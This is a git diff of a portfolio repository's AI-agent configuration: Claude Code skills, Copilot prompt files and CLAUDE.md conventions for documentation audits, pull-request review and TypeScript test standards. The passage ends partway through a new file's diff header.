b/.claude/skills/typescript-code-and-test-standards/SKILL.md index 9d0a7d9b..f2b7221f 100644 --- a/.claude/skills/typescript-code-and-test-standards/SKILL.md +++ b/.claude/skills/typescript-code-and-test-standards/SKILL.md @@ -1,19 +1,19 @@ --- name: typescript-code-and-test-standards -description: Enforces the TypeScript and JavaScript authoring standards that formatters and linters cannot catch: comment discipline, JSDoc on every exported symbol, readability rules, the mandate that logic changes ship with tests, one colocated test per source file, and a strict mocking policy whose default is not to mock. Detects the host project's own Prettier, ESLint, TypeScript, and test-runner configuration and obeys that rather than imposing formatting. Use when writing, editing, or reviewing a .ts, .tsx, .js, .jsx, .mjs, .cjs, .mts, or .cts file; when adding or repairing a Jest, Vitest, Mocha, or Cypress test; when a failing test tempts a mock, a skip, a weakened assertion, or a production fallback; when writing or auditing JSDoc or code comments; and during any review of a TypeScript or JavaScript diff. Also settles style questions a project's own rules leave open, from a bundled Google TypeScript Style Guide digest. +description: "TypeScript and JavaScript standards that formatters and linters cannot catch: comment discipline, JSDoc on every exported symbol, logic changes shipping with tests, one colocated test per source file, and a mocking policy whose default is not to mock. Detects the project's own Prettier, ESLint, TypeScript, and test-runner configuration rather than imposing one. Use when writing or reviewing a .ts, .tsx, .js, .jsx, .mjs, .cjs, .mts, or .cts file, when adding or repairing a Jest, Vitest, Mocha, or Cypress test, when a failing test tempts a mock or a skip, and when writing or auditing JSDoc or code comments. Includes a Google TypeScript Style Guide digest for questions a project leaves open." license: MIT metadata: - version: "1.0.0" - origin: "https://github.com/AlexJSully/AlexJSully-Portfolio" + version: '1.0.0' + origin: 'https://github.com/AlexJSully/AlexJSully-Portfolio' paths: - - "**/*.ts" - - "**/*.tsx" - - "**/*.js" - - "**/*.jsx" - - "**/*.mjs" - - "**/*.cjs" - - "**/*.mts" - - "**/*.cts" + - '**/*.ts' + - '**/*.tsx' + - '**/*.js' + - '**/*.jsx' + - '**/*.mjs' + - '**/*.cjs' + - '**/*.mts' + - '**/*.cts' --- # TypeScript code and test standards diff --git a/.claude/skills/typescript-code-and-test-standards/agents/comment-and-jsdoc-auditor.md b/.claude/skills/typescript-code-and-test-standards/agents/comment-and-jsdoc-auditor.md index c8526a3e..ceaeeda6 100644 --- a/.claude/skills/typescript-code-and-test-standards/agents/comment-and-jsdoc-auditor.md +++ b/.claude/skills/typescript-code-and-test-standards/agents/comment-and-jsdoc-auditor.md @@ -1,3 +1,8 @@ +--- +name: comment-and-jsdoc-auditor +description: Audits comments and documentation blocks across source files, checking that every exported symbol is documented from its implementation and that no comment narrates a change or argues the code is safe, and reports findings without editing. Use before merging a change that touches a public surface or its comments. +--- + # Comment and documentation auditor agent Audit comments and documentation blocks across a set of source files. Report findings. Edit nothing. diff --git a/.claude/skills/typescript-code-and-test-standards/agents/test-quality-reviewer.md b/.claude/skills/typescript-code-and-test-standards/agents/test-quality-reviewer.md index dc619fb5..a5ca588c 100644 --- a/.claude/skills/typescript-code-and-test-standards/agents/test-quality-reviewer.md +++ b/.claude/skills/typescript-code-and-test-standards/agents/test-quality-reviewer.md @@ -1,3 +1,8 @@ +--- +name: test-quality-reviewer +description: Reviews test files for tests that would keep passing if the behaviour they name were broken, weighted toward over-mocking, and reports findings without editing. Use after writing or changing tests, when a test suite passes but confidence in it is low, or when a diff adds mocks. +--- + # Test quality reviewer agent Review a set of test files for tests that do not lock in behaviour, weighted toward over-mocking. Report findings. Edit nothing. diff --git a/.claude/skills/typescript-code-and-test-standards/references/comments-and-jsdoc.md b/.claude/skills/typescript-code-and-test-standards/references/comments-and-jsdoc.md index 1d53ab87..a6f45c4d 100644 --- a/.claude/skills/typescript-code-and-test-standards/references/comments-and-jsdoc.md +++ b/.claude/skills/typescript-code-and-test-standards/references/comments-and-jsdoc.md @@ -47,13 +47,13 @@ Never write a comment defending a decision or asserting that the code works. Tha ```ts // Bad: argues for correctness -// This is safe because createStars is declared below and is already +// This is safe because renderChart is declared below and is already // initialized by the time this callback runs -createStars(); +renderChart(); // Good: states the constraint that makes it true -// Runs after the first paint, so the canvas has real dimensions by here -createStars(); +// Runs after the first paint, so the container has real dimensions by here +renderChart(); ``` The good version tells a reader something they can act on. The bad version tells them the author was worried. diff --git a/.claude/skills/typescript-code-and-test-standards/references/test-standards.md b/.claude/skills/typescript-code-and-test-standards/references/test-standards.md index 5035cf29..4c7e5157 100644 --- a/.claude/skills/typescript-code-and-test-standards/references/test-standards.md +++ b/.claude/skills/typescript-code-and-test-standards/references/test-standards.md @@ -69,9 +69,9 @@ The sharper version, useful in review: **would this test fail if the behaviour i The suite names the subject. The case names the behaviour, as a third-person verb phrase. ```ts -describe('ProjectsGrid', () => { - it('logs an analytics event on project hover', () => {}); - it('renders a fallback when the project list is empty', () => {}); +describe('SearchResults', () => { + it('logs an analytics event when a result is opened', () => {}); + it('renders a fallback when the result list is empty', () => {}); }); ``` @@ -85,9 +85,9 @@ Use a table when rows vary input and expected output across the **same** code pa ```ts it.each([ - { breakpoint: 'sm', expectedColumns: 2, minWidth: '600px' }, - { breakpoint: 'md', expectedColumns: 3, minWidth: '900px' }, -] as const)('renders $expectedColumns columns from $minWidth ($breakpoint)', ({ expectedColumns, minWidth }) => {}); + { role: 'viewer', expectedActions: 1, label: 'Viewer' }, + { role: 'editor', expectedActions: 3, label: 'Editor' }, +] as const)('renders $expectedActions actions for $label ($role)', ({ expectedActions, label }) => {}); ``` Name every field. Positional rows make the case unreadable at the call site and unmaintainable when a column is added. diff --git a/.claude/skills/write-tests/SKILL.md b/.claude/skills/write-tests/SKILL.md index b21f9e55..1403584a 100644 --- a/.claude/skills/write-tests/SKILL.md +++ b/.claude/skills/write-tests/SKILL.md @@ -1,6 +1,8 @@ --- name: write-tests description: Author or repair a Jest or Cypress test in this repository's house style. Use when adding a test, when a source change needs coverage, or when a test is failing and needs a root-cause fix rather than a weakened assertion. +metadata: + internal: true --- # Write tests diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md index 569c1942..3c03a21d 100644 --- a/.github/copilot-instructions.md +++ b/.github/copilot-instructions.md @@ -240,7 +240,7 @@ Architecture docs in `docs/architecture/`: - [`index.md`](../docs/architecture/index.md): system overview - [`components/index.md`](../docs/architecture/components/index.md): per-component docs for Avatar, Projects, Publications, and the rest -When writing or editing any Markdown, the canonical spec is [`audit-docs.prompt.md`](prompts/audit-docs.prompt.md). The always-apply subset: +When writing or editing any Markdown, the full rules are in [`audit-docs.prompt.md`](prompts/audit-docs.prompt.md), and the `audit-docs` skill carries the same rules with worked examples beside them. The always-apply subset: - **Zero hallucination**: document only what the code provably does. Know the file that proves a claim before writing it - **No em-dashes or en-dashes**: replace each with a comma, parenthesis, colon, separate sentence, or a spaced hyphen, including existing ones in any file you edit diff --git a/.github/prompts/audit-docs.prompt.md b/.github/prompts/audit-docs.prompt.md index a10766a8..edd0b98a 100644 --- a/.github/prompts/audit-docs.prompt.md +++ b/.github/prompts/audit-docs.prompt.md @@ -1,5 +1,5 @@ --- -description: 'Audit and update the docs/ directory so it matches the code, grounding every claim in a file opened this run.' +description: "Audit and update the project's documentation so it matches the code, grounding every claim in a file opened this run." name: 'audit-docs' argument-hint: '[paths or area to audit; defaults to the active pull request or working changes]' agent: 'agent' @@ -7,7 +7,7 @@ agent: 'agent' ## Role & Purpose -Act as a **Strictly Factual Technical Writer and Auditor**. Make the `docs/` directory an objective, verifiable reflection of the current #codebase. Write and correct documentation so `docs/` matches the #codebase, #activePullRequest, or #changes. Being strictly factual does not mean sounding machine-generated: write the way a careful human technical writer would, applying the **Voice** guidance in section 3. +Act as a **Strictly Factual Technical Writer and Auditor**. Make the project's documentation directory, `docs/` below and whatever this project actually names it, an objective, verifiable reflection of the current #codebase. Write and correct documentation so `docs/` matches the #codebase, #activePullRequest, or #changes. Being strictly factual does not mean sounding machine-generated: write the way a careful human technical writer would, applying the **Voice** guidance in section 3. **Scope: documentation only.** Unless the invoking task explicitly asks for code or behaviour changes, this run edits documentation (markdown, text files, and in-code comments, docstrings, and file-level headers) and never changes executable code or behaviour. See Rule 1. @@ -151,10 +151,10 @@ Write as a careful human technical writer: formal and neutral, never robotic. Th ### Formatting -- Always use relative links, including `../` paths, for GitHub compatibility. Some style guides prefer repository-root-absolute paths; those do not resolve on GitHub, which reads them against the site root. New directories must have an `index.md`. +- Always use relative links, including `../` paths, for GitHub compatibility. Some style guides prefer repository-root-absolute paths; those do not resolve on GitHub, which reads them against the site root. New directories must have an entry-point file, named as the project's existing directories name theirs. - A document opens with a single H1 named for its file, then a one to three sentence introduction written for a reader who does not yet know the subject or why they would use it, then H2s. Later headings are unique and fully descriptive, sub-sections included ("Retry backoff limits", not "Limits"), because anchors are generated from heading text and other documents link to them. Use sentence case. - Prefer standard markup to raw HTML. If the markup cannot express it, reconsider whether the document needs it. -- Add a `## Related Documentation` section at the file bottom only when genuinely relevant links exist (not in `index.md` or `README.md`). +- Add a related-documentation section at the file bottom only when genuinely relevant links exist, and not in a directory's entry-point file. Match the heading text the project already uses for it. --- diff --git a/.github/prompts/audit-pr.prompt.md b/.github/prompts/audit-pr.prompt.md index 6dda1ad3..1ed92b59 100644 --- a/.github/prompts/audit-pr.prompt.md +++ b/.github/prompts/audit-pr.prompt.md @@ -24,14 +24,14 @@ Review the diff plus whatever you must read to judge it. Reading a caller, a tes ## Context resolution -GitHub Copilot resolves the references below automatically. Any other agent resolves each one with the listed equivalent before starting. If a source is unavailable, say so in the output and continue with what is available. +Some agents resolve the references below automatically. Any agent that does not resolves each one itself, using the equivalent listed here, before starting. If a source is unavailable, say so in the output and continue with what is available. -| Reference | GitHub Copilot | Claude Code and other agents | -| -------------------- | --------------------------- | --------------------------------------- | -| `#activePullRequest` | Active pull request | `gh pr diff`, or `git diff main...HEAD` | -| `#changes` | Uncommitted working changes | `git diff` and `git diff --staged` | -| `#codebase` | Workspace index | `Glob`, `Grep`, and `Read` | -| `#issue_fetch` | Linked issue | `gh issue view ` | +| Reference | What it refers to | Resolve it yourself with | +| -------------------- | --------------------------- | ----------------------------------------------------------------------- | +| `#activePullRequest` | Active pull request | The forge's pull request command, or `git diff ...HEAD` | +| `#changes` | Uncommitted working changes | `git diff` and `git diff --staged` | +| `#codebase` | The project's own files | Your file-search and file-read tools | +| `#issue_fetch` | Linked issue | The forge's issue command, or the issue link in the description | ## 1. Scope and evidence rules @@ -191,7 +191,7 @@ Can a reader debug this in production without reproducing it locally? Check: a l Check every added or upgraded dependency and every lockfile entry against what the diff actually imports. Flag: a package name that does not exist, or differs by a character from the intended one, since a generated install command is the usual source; an unpinned or range-widened version on a security-relevant dependency; a source other than the project's usual registry, including a git URL or tarball; a maintainer or ownership change; a version that jumped without a changelog; a resolved URL pointing off-registry; a missing or altered integrity hash on an otherwise unchanged version. -**Install-time code execution is checked by capability, not by field name.** Lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`) are the obvious vector, but a native-build hook such as a `binding.gyp` that triggers an implicit rebuild executes code too and evades checks that read only the lifecycle-script fields. **A valid provenance attestation does not establish that a release is safe:** a compromised maintainer account can produce one. +**Install-time code execution is checked by capability, not by field name.** Declared lifecycle hooks are the obvious vector, whatever the ecosystem calls them (`preinstall`, `install`, `postinstall`, and `prepare` in npm; a build backend or `setup.py` in Python; a task that runs on dependency resolution in Gradle, Rake, or Make). But a native-build descriptor that triggers an implicit rebuild executes code too, and it evades any check that reads only the declared lifecycle fields. **A valid provenance attestation does not establish that a release is safe:** a compromised maintainer account can produce one. Extend the same reasoning to the build and CI surface: a workflow that checks out an untrusted pull request head while holding write permissions or secrets, a third-party action referenced by a mutable tag rather than an immutable commit identifier, secrets reachable from fork pull requests, a self-hosted runner exposed to forks, and editor or container configuration that executes on open, such as an autorun task or a container post-create command. Agent configuration counts: a checked-in skill, rule, or settings file can grant broad tool access to anyone who trusts the repository. diff --git a/.github/prompts/readme.md b/.github/prompts/readme.md index a795570e..32cc9a2a 100644 --- a/.github/prompts/readme.md +++ b/.github/prompts/readme.md @@ -2,13 +2,15 @@ Reusable audit prompts for code review, documentation, and codebase quality. Each one ships **twice**, so it works whether or not you can install a directory into your repository: -| Prompt file, for GitHub Copilot | Skill, for Claude Code and other agents | +| Prompt file, one file you can copy | Skill directory, for any Agent Skills host | | ---------------------------------------------------- | ----------------------------------------------------------------------- | | [`audit-docs.prompt.md`](audit-docs.prompt.md) | [`audit-docs/SKILL.md`](../../.claude/skills/audit-docs/SKILL.md) | | [`audit-pr.prompt.md`](audit-pr.prompt.md) | [`audit-pr/SKILL.md`](../../.claude/skills/audit-pr/SKILL.md) | | [`audit-quality.prompt.md`](audit-quality.prompt.md) | [`audit-quality/SKILL.md`](../../.claude/skills/audit-quality/SKILL.md) | -**The body below the frontmatter is byte-identical between each pair.** Only the frontmatter differs: the prompt carries Copilot's keys, the skill carries the Agent Skills keys. Each file is self-contained, with no relative links and no reference to a sibling prompt, so a single copied file works on its own. +**The two halves carry the same objective, not the same bytes.** Both describe the same job, hold you to the same rules, and produce the same shape of report. The skill can carry more to get there, because a directory can bundle reference material, subagents, and templates that a single file cannot. + +Take whichever suits your constraints. Each half works alone: a prompt names nothing beside it, a skill names nothing outside itself, and neither refers to the other or to a sibling audit. > [!CAUTION] > **AI makes mistakes and hallucinations.** These prompts drive AI-driven analysis and documentation generation, so review all output before merging. Verify that changes are factually accurate against your codebase, aligned with your standards, free of invented function names, file paths, or logic, and tested. Do not blindly merge AI-generated changes. @@ -31,23 +33,34 @@ None of them audits your whole repository by default, which matters on a large c ## Installing -**As a Copilot prompt.** Copy the `.prompt.md` file into `.github/prompts/` in your repository and invoke it with `/audit-pr` in Copilot Chat. Use this path when repository policy prevents installing anything else, since it is a single file with no dependencies. +**As a single prompt file.** Copy the `.prompt.md` into `.github/prompts/` and invoke it with `/audit-pr` in chat. Use this path when repository policy prevents installing anything else, since it is one file with no dependencies. + +**As a skill, by package manager.** Both installers place the directory wherever your agent reads it: + +```bash +npx skills add AlexJSully/AlexJSully-Portfolio --skill audit-pr +gh skill install AlexJSully/AlexJSully-Portfolio --skill audit-pr --agent claude +``` + +`npx skills` (Vercel Labs) and `gh skill` (GitHub CLI 2.90.0 or later, in preview) both target Claude Code, Copilot, Cursor, Codex, and Gemini. `gh skill` additionally pins to a tag or commit with `--pin`. -**As a Claude Code skill.** Copy the skill directory into `.claude/skills/`. Invoke it with `/audit-pr`, or let the agent pick it up from its description. +**As a skill, by hand.** Copy the directory into `.claude/skills/`, `.github/skills/`, or `.agents/skills/`, whichever your agent reads. Invoke it with `/audit-pr`, or let the agent pick it up from its `description`. Either way this is the fuller half: it brings its bundled `references/`, `agents/`, and `assets/` with it. -**With another agent.** The body is host-neutral. Every prompt carries a **context resolution** table mapping the references Copilot resolves automatically to the equivalent command any other agent should run. Which references appear depends on the prompt: all three list `#codebase` and `#changes`, `audit-docs` and `audit-pr` add `#activePullRequest`, `audit-docs` and `audit-quality` add `#file:path`, and `audit-pr` alone adds `#issue_fetch`. +**Resolving the `#` references.** Some hosts resolve `#codebase`, `#changes`, and the rest automatically; the ones that do not need a **context resolution** table, which maps each reference to the command to run instead. `audit-pr` and `audit-quality` carry that table in both halves. `audit-docs` carries it in the skill half only, since every host that reads a prompt file resolves those three itself. Which references appear varies: all three use `#codebase` and `#changes`, `audit-docs` and `audit-pr` add `#activePullRequest`, `audit-quality` adds `#file:path`, and `audit-pr` alone adds `#issue_fetch`. -## Keeping the pair in sync +## Keeping the two halves honest -Only relevant if you keep both halves. Edit one, then propagate: +Only relevant if you keep both. Since they are no longer identical, a diff cannot tell you whether they still agree, and the question splits in two. ```bash -make -f .claude/Makefile sync-prompts-to-skill # you edited the prompt -make -f .claude/Makefile sync-prompts-to-prompt # you edited the skill -make -f .claude/Makefile sync-prompts # confirm, exits 0 when in sync +make -f .claude/Makefile check-skills # the mechanical rules, exits 0 when they hold ``` -The direction is never inferred, because guessing it would overwrite the side you just edited. In this repository the check is run on demand rather than as part of the build, so that the project still builds and lints with no agent tooling present. +That decides what a machine can: the frontmatter against the [Agent Skills specification](https://agentskills.io/specification), a licence on every published skill, every bundled path resolving, and each half naming nothing it will not ship with. + +Whether both halves still aim at the same outcome is a judgement, so it goes to a subagent that reads both, inventories the hard rules in each, and classifies every difference as bundled depth, a host fallback, or a real divergence. The failure worth catching is a rule that exists in the skill and not the prompt, which is a silent downgrade for everyone holding the prompt, and which passes the mechanical check cleanly. + +In this repository both run on demand rather than as part of the build, so the project still builds and lints with no agent tooling present. ## Whether a run applies changes diff --git a/.markdownlint-cli2.jsonc b/.markdownlint-cli2.jsonc index 8542bc2f..b82015cd 100644 --- a/.markdownlint-cli2.jsonc +++ b/.markdownlint-cli2.jsonc @@ -12,10 +12,6 @@ // are named `.MD`. Without the second pattern they are silently never linted. "globs": ["**/*.md", "**/*.MD"], - // Vendored upstream, kept byte-identical to anthropics/skills so drift stays detectable. - // Formatting or fixing it would destroy that, so no tool may touch it. - "ignores": [".claude/skills/skill-creator/**"], - "config": { "MD007": false, "MD010": false, diff --git a/.prettierignore b/.prettierignore index 7514c81f..d0f0a26e 100644 --- a/.prettierignore +++ b/.prettierignore @@ -198,9 +198,6 @@ dist/**/*.js.map # nx cache .nx/cache -# Vendored upstream, kept byte-identical to anthropics/skills so drift stays detectable. -.claude/skills/skill-creator/ - # Python .mypy_cache diff --git a/CLAUDE.md b/CLAUDE.md index 4f24d7d0..f68564dc 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -8,7 +8,7 @@ This repo is worked on by **both** GitHub Copilot and Claude Code. Keep these au - [`.github/copilot-instructions.md`](.github/copilot-instructions.md) - canonical, shared conventions. Copilot cannot read `CLAUDE.md`, and the automated code reviews read that file rather than `.claude/`, so when conventions change, update it too. - [`docs/architecture/`](docs/architecture/index.md) and [`docs/usage/`](docs/usage/index.md) - per-area detail (read these instead of re-deriving structure). -- [`.claude/rules/`](.claude/rules/code-style.md) - path-scoped rules that load automatically. [`code-style.md`](.claude/rules/code-style.md) loads when editing `.ts`/`.tsx`, [`testing.md`](.claude/rules/testing.md) when editing tests or test tooling, [`docs-authoring.md`](.claude/rules/docs-authoring.md) when editing markdown, [`prompt-skill-sync.md`](.claude/rules/prompt-skill-sync.md) when editing either half of a mirrored prompt, and [`repo-independence.md`](.claude/rules/repo-independence.md) when editing `package.json`, a config, a workflow, or `docs/`. +- [`.claude/rules/`](.claude/rules/code-style.md) - path-scoped rules that load automatically. [`code-style.md`](.claude/rules/code-style.md) loads when editing `.ts`/`.tsx`, [`testing.md`](.claude/rules/testing.md) when editing tests or test tooling, [`docs-authoring.md`](.claude/rules/docs-authoring.md) when editing markdown, [`prompt-skill-sync.md`](.claude/rules/prompt-skill-sync.md) when editing a skill or either half of a published audit, and [`repo-independence.md`](.claude/rules/repo-independence.md) when editing `package.json`, a config, a workflow, or `docs/`. - [`.claude/skills/typescript-code-and-test-standards/`](.claude/skills/typescript-code-and-test-standards/SKILL.md) - the codebase-agnostic conventions (comments, JSDoc, readability, the test mandate, the mocking policy, the Google style digest), published for reuse elsewhere. The rules files above carry only this repository's deltas and defer to it. ### The repository never depends on agentic files @@ -36,7 +36,7 @@ This repo is worked on by **both** GitHub Copilot and Claude Code. Keep these au - Confirm the **actual exit code** (`echo "EXIT: $?"`) after each gate. The output is long and failures surface at the end, so scrolling it is not a check. - A single gate is never a substitute for the full set. Running `npm run test:jest` alone skips type checking, linting, the build, and markdown linting. -- The prompt-and-skill mirroring check is deliberately **not** a gate: `npm run validate` must work with no agent tooling present. Run it with `make -f .claude/Makefile sync-prompts`, and fix a divergence with `make -f .claude/Makefile sync-prompts-to-skill` (or `make -f .claude/Makefile sync-prompts-to-prompt`), never by hand-copying. +- The skill publishability check is deliberately **not** a gate: `npm run validate` must work with no agent tooling present. Run it with `make -f .claude/Makefile check-skills`, and hand any semantic divergence between a published audit's two halves to the `prompt-skill-sync` subagent, which no script can decide. - If a gate fails, fix the cause and re-run until it passes. Never report work complete, or describe validation as passing, before that point. Report a pre-existing failure honestly rather than presenting it as unrelated and therefore fine. - Run `npm run prettier` again after any ESLint fix, and finish with `npm run prettier:check`: `eslint --fix` inserts braces inline where Prettier would break the statement across lines. - If `test:cypress:e2e` fails, quote the actual error. Treat it as an environment limit only when the Cypress **binary fails to launch**, an Electron or window-server error raised before any spec runs, since Cypress needs a GUI session that a headless agent shell may not have. A failing assertion inside a spec is a real failure. Either way, run the remaining gates (`build` and `lint:markdown` come after Cypress in the chain) and say plainly that e2e was not run. @@ -56,7 +56,8 @@ The conventions live in two layers. The generic set (comment discipline, JSDoc, ## Claude Code extras -- Each [`.github/prompts/`](.github/prompts/readme.md) file ships twice: as a Copilot `.prompt.md` and as a Claude Code skill with a **byte-identical body**. Edit either half, then mirror it with `make -f .claude/Makefile sync-prompts-to-skill` (see [`prompt-skill-sync.md`](.claude/rules/prompt-skill-sync.md)). Both halves stay self-contained, with no relative links and no reference to a sibling prompt, because each is copied into other repositories on its own. -- Skills: `/audit-docs`, `/audit-pr`, and `/audit-quality` (the mirrored prompts); `/write-tests` (repo procedure for authoring a test); `/sync-audit-prompts` (reconcile a mirrored pair); and `typescript-code-and-test-standards`, which auto-loads on TypeScript and JavaScript files. Plus the built-in `/code-review` and `/security-review`. -- Subagents: `validator` runs the local quality gates in its own context and returns a verdict instead of several thousand lines; `prompt-skill-sync` reconciles a mirrored pair and returns a verdict instead of two long files. -- Hooks ([`.claude/hooks/`](.claude/hooks/validate-gate.mts)): `markdown-audit-reminder` restates the doc-authoring rules whenever you edit a markdown file; `prompt-skill-sync` names the counterpart when you edit either half of a mirrored pair; `validate-gate` tracks which gates have run and blocks the first attempt to finish while any are outstanding. +- Each [`.github/prompts/`](.github/prompts/readme.md) file ships twice: as a single prompt file and as a skill directory. The two carry the **same objective, not the same bytes**, because only the skill can bundle `references/`, `agents/`, and `assets/`. After editing either half, run `make -f .claude/Makefile check-skills` and hand both halves to the `prompt-skill-sync` subagent (see [`prompt-skill-sync.md`](.claude/rules/prompt-skill-sync.md)). Each half is downloaded alone: the prompt names nothing beside it, the skill names nothing outside itself, and neither names a sibling audit or this repository. +- Skills: `/audit-docs`, `/audit-pr`, and `/audit-quality` (the paired audits); `/write-tests` (repo procedure for authoring a test); `/check-skills` (validate the skills and their prompt halves); and `typescript-code-and-test-standards`, which auto-loads on TypeScript and JavaScript files. Plus the built-in `/code-review` and `/security-review`. +- Skills carry one of **three states**, which `make -f .claude/Makefile check-skills` prints and enforces. **Published** (`audit-docs`, `audit-pr`, `typescript-code-and-test-standards`) are used outside this repository, so they stay codebase-agnostic and, apart from the TypeScript one, language-agnostic. **Installable** (`audit-quality`) can be offered by an installer but is not held to that bar. **Internal** (`check-skills`, `write-tests`) set `metadata: internal: true`, which hides them from `npx skills` discovery. The rule tying it together: anything an installer can offer carries a `license` key and a `LICENSE.txt`, because a copied directory is all the recipient gets. Nothing is vendored here; a third-party skill is fetched on demand with `npx skills add / --skill `. +- Subagents: `validator` runs the local quality gates in its own context and returns a verdict instead of several thousand lines; `prompt-skill-sync` judges whether a published audit's two halves still aim at the same outcome, repairs a divergence, and returns a verdict instead of two long files. +- Hooks ([`.claude/hooks/`](.claude/hooks/validate-gate.mts)): `markdown-audit-reminder` restates the doc-authoring rules whenever you edit a markdown file; `prompt-skill-sync` names the counterpart when you edit either half of a published audit; `validate-gate` tracks which gates have run and blocks the first attempt to finish while any are outstanding. diff --git a/src/instrumentation.ts b/src/instrumentation.ts index 77301559..4d912ece 100644 --- a/src/instrumentation.ts +++ b/src/instrumentation.ts @@ -10,6 +10,7 @@ export async function register() { if (process.env.NEXT_RUNTIME === 'nodejs') { await import('../sentry.server.config'); } + if (process.env.NEXT_RUNTIME === 'edge') { await import('../sentry.edge.config'); } From 4d8121046d598f4cd34a5dcb6a9ccb4eba23f670 Mon Sep 17 00:00:00 2001 From: Alexander Sullivan Date: Mon, 3 Aug 2026 18:09:59 -0400 Subject: [PATCH 6/7] add more agents --- .claude/skills/audit-docs/SKILL.md | 22 +++- .../audit-docs/agents/coverage-mapper.md | 95 ++++++++++++++++ .../audit-docs/agents/curation-reviewer.md | 92 ++++++++++++++++ .../audit-docs/agents/diagram-reviewer.md | 102 ++++++++++++++++++ .../audit-docs/agents/surface-auditor.md | 98 +++++++++++++++++ .../diagram-and-image-accessibility.md | 2 +- .../references/evidence-and-citation.md | 2 + .github/prompts/audit-docs.prompt.md | 7 +- .github/prompts/readme.md | 29 ++++- 9 files changed, 439 insertions(+), 10 deletions(-) create mode 100644 .claude/skills/audit-docs/agents/coverage-mapper.md create mode 100644 .claude/skills/audit-docs/agents/curation-reviewer.md create mode 100644 .claude/skills/audit-docs/agents/diagram-reviewer.md create mode 100644 .claude/skills/audit-docs/agents/surface-auditor.md diff --git a/.claude/skills/audit-docs/SKILL.md b/.claude/skills/audit-docs/SKILL.md index 94673e66..bf33e209 100644 --- a/.claude/skills/audit-docs/SKILL.md +++ b/.claude/skills/audit-docs/SKILL.md @@ -38,14 +38,27 @@ Open one of these when the run needs its detail. Nothing here is loaded until yo - [`evidence-and-citation.md`](references/evidence-and-citation.md) - how to hold proof, which sources are not evidence, and the hallucination patterns each check catches. Read before Phase 2 or 3 on an unfamiliar codebase. - [`voice-and-ai-tells.md`](references/voice-and-ai-tells.md) - the tell catalogue with a corrected rewrite for each. Read while writing or revising prose. - [`diagram-and-image-accessibility.md`](references/diagram-and-image-accessibility.md) - worked `accTitle` and `accDescr` examples, and how to choose a diagram type. Read before adding or editing a diagram. -- [`claim-verifier.md`](agents/claim-verifier.md) - a subagent that tries to disprove one claim against the source. Use it on any claim you are not certain of. - [`audit-report.template.md`](assets/audit-report.template.md) - the report shape for the end of the run. +## Bundled subagents, and when to dispatch one + +Five subagents ship with this skill. **The default is to dispatch none of them.** Each one is for work the main run cannot afford to do itself, and the scope rule below bounds what any of them receives: on a pull request they see the changed set, not the tree. A small pull request should reach for nothing here. + +| Subagent | Dispatch when | Skip when | +| -------------------------------------------------- | ------------------------------------------------------------------------------- | ---------------------------------- | +| [`coverage-mapper`](agents/coverage-mapper.md) | scope is the whole documentation set, or the change adds or removes a component | scope is a single named document | +| [`curation-reviewer`](agents/curation-reviewer.md) | a document was substantially rewritten, or is consumer-facing | only a factual correction was made | +| [`diagram-reviewer`](agents/diagram-reviewer.md) | a document contains a diagram, or describes a flow of five or more steps | neither is true | +| [`surface-auditor`](agents/surface-auditor.md) | the change touches a public surface | the change is documentation-only | +| [`claim-verifier`](agents/claim-verifier.md) | a claim you cannot ground from a file already open | the proof is already in hand | + +Each returns findings rather than edits, so the decision to act on any of them stays with this run. + --- ## 1. Execution Flow (Sequential) -Execute all three phases in order. +**Resolve scope in this order, stopping at the first rule that applies, and never widen it:** an explicit instruction naming paths or an area; the active pull request; uncommitted changes; the component or system the surrounding task concerns; and only then the whole documentation set. State in your output which rule applied, then execute all three phases in order against that scope. ### Phase 1: PR sync @@ -55,6 +68,7 @@ Execute all three phases in order. ### Phase 2: general audit +- **Inventory before you correct.** List every document in scope with the subject it claims and the code that subject maps to. The three actions below are undecidable without that list: duplication is visible only across documents, a removed feature only where a document's subject is absent from the code, and a missing document only as code with no entry. Report how many documents you opened, and name anything in scope you did not, so that "already accurate" cannot be confused with "not looked at". - Audit all of `docs/` against the current #codebase. **Correct** pre-existing content that contradicts the code, preserving accurate content's phrasing and style. - **Delete** pre-existing content only if it is massively duplicated, describes removed features, or fundamentally cannot be corrected. Default to correcting, not deleting. Your own generated content may be edited or removed freely when wrong. - **Create new files** only when needed: check the existing structure first and reuse a home when one fits; for a genuinely new directory apply the **Diátaxis** framework (Tutorials, How-To Guides, Reference, Explanation); create for new components/systems, external API guides, or missing structures. @@ -64,7 +78,7 @@ Execute all three phases in order. **Mandatory.** Execute regardless of Phase 1 and 2 results. -- **Scope:** every `.md` file outside `docs/`, plus documentation comments, inline comments, and file-level headers across the target. +- **Scope:** every `.md` file outside `docs/`, plus documentation comments, inline comments, and file-level headers across the code the scope rule above resolved to. - **Actions:** scan for documentation and comments; read the current implementation of each documented element; verify it against actual code behaviour; correct or remove anything inaccurate or outdated; document every public symbol that lacks it; remove bloat, keeping "why" explanations, non-obvious "what" descriptions, and essential "how" for complex algorithms. Removing bloat means deleting comments that restate the code, never comments that explain a non-obvious internal. - **Always document the public surface.** Every public or exported symbol carries a documentation comment, as do the members of a public structure: fields, properties, keys, enum values. Write for a reader meeting the symbol for the first time, assuming they can infer nothing from its name. Reach for what the declaration cannot express, such as why it exists, a constraint, an invariant, or a caller obligation. Where no such explanation exists, a plain restatement of what the symbol does is correct: being obvious is not a defect on a public surface, being absent is. **Rule 2 still governs, and it comes first.** Reading the body is the precondition for writing the comment, not a step to infer around: not having got to it is no reason to skip it, and being unable to reach it is no reason to guess. Where you have not read the body, leave the symbol as it is and name it in your output. A public symbol left undocumented and reported is a compliant result; a comment written from the symbol's name is a defect, and it is the defect this rule exists to prevent. - **Do not restate what the language's own syntax declares**, such as a type, a visibility modifier, or an override marker. This governs what you write in a **new** documentation comment and never licenses removing an existing one. @@ -165,7 +179,7 @@ Write as a careful human technical writer: formal and neutral, never robotic. Th - ✅ "[`/design`](../design/index.md)" - **Link text names the destination.** Never "here", "link", "this", or a bare URL: write the sentence first, then wrap the phrase that names what it points at. - Weave links into prose; use a footer `Implementation:` only when inline is unnatural. Do not link the same file twice in adjacent sentences. -- Verify every path resolves from the doc's own location. If a referenced file does not exist, correct or remove the statement. +- Verify every path resolves from the doc's own location, and every anchor against the current heading text it points at, since a renamed heading breaks a link that still looks correct. If a referenced file, or a heading an anchor names, does not exist, correct or remove the statement. ### Code snippets diff --git a/.claude/skills/audit-docs/agents/coverage-mapper.md b/.claude/skills/audit-docs/agents/coverage-mapper.md new file mode 100644 index 